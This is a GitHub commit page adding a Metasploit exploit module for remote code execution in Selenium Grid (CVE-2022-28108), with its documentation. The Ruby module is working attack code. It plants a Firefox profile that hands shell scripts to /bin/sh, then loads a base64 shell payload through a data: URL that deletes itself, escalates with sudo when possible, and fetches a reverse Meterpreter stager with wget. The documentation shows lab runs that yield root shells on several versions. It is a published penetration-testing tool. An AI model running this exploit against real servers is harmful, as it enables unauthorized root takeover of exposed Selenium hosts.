Skip to content

Commit fea1713

Browse files
authored
Land rapid7#19771, Add Selenium Firefox RCE module (CVE-2022-28108)
Land rapid7#19771, Add Selenium Firefox RCE module (CVE-2022-28108)
2 parents e62010c + 296d3c9 commit fea1713

File tree

2 files changed

+345
-0
lines changed

2 files changed

+345
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
## Vulnerable Application
2+
3+
Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
4+
allows CSRF because it permits non-JSON content types
5+
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
6+
At least, the number of sessions must be fewer than maxSessions for the exploit to succeed.
7+
8+
The vulnerability affects:
9+
10+
* Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
11+
12+
This module was successfully tested on:
13+
14+
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
15+
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
16+
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
17+
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
18+
19+
20+
### Installation
21+
22+
1. `docker pull selenium/standalone-firefox:3.141.59`
23+
24+
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
25+
26+
27+
## Verification Steps
28+
29+
1. Install the application
30+
2. Start msfconsole
31+
3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
32+
4. Do: `run lhost=<lhost> rhost=<rhost>`
33+
5. You should get a meterpreter
34+
35+
36+
## Options
37+
### TIMEOUT (required)
38+
39+
This is the amount of time (in seconds) that the module will wait for the payload to be
40+
executed. Defaults to 75 seconds.
41+
42+
43+
## Scenarios
44+
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
45+
```
46+
msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
47+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
48+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
49+
50+
Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
51+
52+
Name Current Setting Required Description
53+
---- --------------- -------- -----------
54+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
55+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
56+
RPORT 4444 yes The target port (TCP)
57+
SSL false no Negotiate SSL/TLS for outgoing connections
58+
TIMEOUT 75 yes Timeout for exploit (seconds)
59+
VHOST no HTTP server virtual host
60+
61+
62+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
63+
64+
Name Current Setting Required Description
65+
---- --------------- -------- -----------
66+
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
67+
FETCH_DELETE true yes Attempt to delete the binary after execution
68+
FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes
69+
FETCH_SRVHOST no Local IP to use for serving payload
70+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
71+
FETCH_URIPATH no Local URI to use for serving payload
72+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
73+
LHOST yes The listen address (an interface may be specified)
74+
LPORT 4444 yes The listen port
75+
76+
77+
Exploit target:
78+
79+
Id Name
80+
-- ----
81+
0 Linux Command
82+
83+
84+
85+
View the full module info with the info, or info -d command.
86+
87+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
88+
[*] Started reverse TCP handler on 192.168.56.1:4444
89+
[*] Running automatic check ("set AutoCheck false" to disable)
90+
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
91+
[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
92+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
93+
[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
94+
95+
meterpreter > getuid
96+
Server username: root
97+
meterpreter > sysinfo
98+
Computer : 172.17.0.2
99+
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
100+
Architecture : x64
101+
BuildTuple : x86_64-linux-musl
102+
Meterpreter : x64/linux
103+
meterpreter >
104+
```
105+
106+
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
107+
```
108+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446
109+
[*] Started reverse TCP handler on 192.168.56.1:4444
110+
[*] Running automatic check ("set AutoCheck false" to disable)
111+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
112+
[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
113+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
114+
[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
115+
116+
meterpreter > getuid
117+
Server username: root
118+
meterpreter > sysinfo
119+
Computer : 172.17.0.3
120+
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
121+
Architecture : x64
122+
BuildTuple : x86_64-linux-musl
123+
Meterpreter : x64/linux
124+
meterpreter >
125+
```
126+
127+
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
128+
```
129+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
130+
[*] Started reverse TCP handler on 192.168.56.1:4444
131+
[*] Running automatic check ("set AutoCheck false" to disable)
132+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
133+
[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
134+
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
135+
[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
136+
137+
meterpreter > getuid
138+
Server username: root
139+
meterpreter > sysinfo
140+
Computer : 172.17.0.4
141+
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
142+
Architecture : x64
143+
BuildTuple : x86_64-linux-musl
144+
Meterpreter : x64/linux
145+
meterpreter >
146+
```
147+
148+
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
149+
```
150+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
151+
[*] Started reverse TCP handler on 192.168.56.1:4444
152+
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
154+
[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
155+
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
156+
[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
157+
158+
meterpreter > getuid
159+
Server username: root
160+
meterpreter > sysinfo
161+
Computer : 172.17.0.5
162+
OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
163+
Architecture : x64
164+
BuildTuple : x86_64-linux-musl
165+
Meterpreter : x64/linux
166+
meterpreter >
167+
```
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Selenium geckodriver RCE',
17+
'Description' => %q{
18+
Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
19+
allows CSRF because it permits non-JSON content types
20+
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
21+
},
22+
'Author' => [
23+
'Jon Stratton', # Exploit development
24+
'Takahiro Yokoyama' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['CVE', '2022-28108'],
29+
['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
30+
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
31+
['EDB', '49915'],
32+
],
33+
'Payload' => {},
34+
'Platform' => %w[linux],
35+
'Targets' => [
36+
[
37+
'Linux Command', {
38+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
39+
'DefaultOptions' => {
40+
'FETCH_COMMAND' => 'WGET'
41+
}
42+
}
43+
],
44+
],
45+
'DefaultOptions' => {
46+
'FETCH_DELETE' => true
47+
},
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => '2022-04-18',
50+
'Notes' => {
51+
'Stability' => [ CRASH_SAFE, ],
52+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
53+
'Reliability' => [ REPEATABLE_SESSION, ]
54+
}
55+
)
56+
)
57+
register_options(
58+
[
59+
Opt::RPORT(4444),
60+
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ])
61+
]
62+
)
63+
end
64+
65+
def check
66+
# Request for Selenium Grid version 4
67+
v4res = send_request_cgi({
68+
'method' => 'GET',
69+
'uri' => normalize_uri(target_uri.path, 'status')
70+
})
71+
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
72+
v4res.get_json_document['value'].include?('message')
73+
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
74+
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
75+
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
76+
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
77+
end
78+
end
79+
80+
# Request for Selenium Grid version 3
81+
v3res = send_request_cgi({
82+
'method' => 'GET',
83+
'uri' => normalize_uri(target_uri.path)
84+
})
85+
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
86+
87+
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
88+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
89+
90+
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
91+
begin
92+
json_data = JSON.parse(json_str)
93+
rescue JSON::ParserError
94+
return Exploit::CheckCode::Unknown('Unable to determine the version.')
95+
end
96+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
97+
98+
# Extract the version
99+
version = Rex::Version.new(json_data['version'])
100+
@version3 = version < Rex::Version.new('4.0.0')
101+
102+
CheckCode::Appears("Version #{version} detected, which is vulnerable.")
103+
end
104+
105+
def exploit
106+
# Build profile zip file.
107+
stringio = Zip::OutputStream.write_buffer do |io|
108+
# Create a handler for shell scripts
109+
io.put_next_entry('handlers.json')
110+
io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
111+
end
112+
stringio.rewind
113+
encoded_profile = Base64.strict_encode64(stringio.sysread)
114+
115+
# Create session with our new profile
116+
new_session = {
117+
desiredCapabilities: {
118+
browserName: 'firefox',
119+
firefox_profile: encoded_profile
120+
},
121+
capabilities: {
122+
firstMatch: [
123+
{
124+
browserName: 'firefox',
125+
"moz:firefoxOptions": { profile: encoded_profile }
126+
}
127+
]
128+
}
129+
}.to_json
130+
131+
# Start session with encoded_profile and save session id for cleanup.
132+
res = send_request_cgi({
133+
'method' => 'POST',
134+
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
135+
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
136+
'data' => new_session
137+
}, datastore['TIMEOUT'])
138+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
139+
140+
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
141+
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
142+
143+
print_status("Started session (#{session_id}).")
144+
145+
b64encoded_payload = Rex::Text.encode_base64(
146+
"rm -rf $0\n"\
147+
"if sudo -n true 2>/dev/null; then\n"\
148+
" echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
149+
"else\n"\
150+
" #{payload.encoded}\n"\
151+
"fi\n"
152+
)
153+
154+
data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}"
155+
send_request_cgi({
156+
'method' => 'POST',
157+
'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
158+
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
159+
'data' => JSON.generate(url: data_url)
160+
})
161+
# The server does not send a response, so no check here
162+
163+
# This may take some time (about 5 minutes or so), so no timeout is set here.
164+
res = send_request_cgi({
165+
'method' => 'DELETE',
166+
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
167+
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
168+
})
169+
if res
170+
print_status("Deleted session (#{session_id}).")
171+
else
172+
print_status("Failed to delete the session (#{session_id}). "\
173+
'You may need to wait for the session to expire (default: 5 minutes) or '\
174+
'manually delete the session for the next exploit to succeed.')
175+
end
176+
end
177+
178+
end

0 commit comments

Comments
 (0)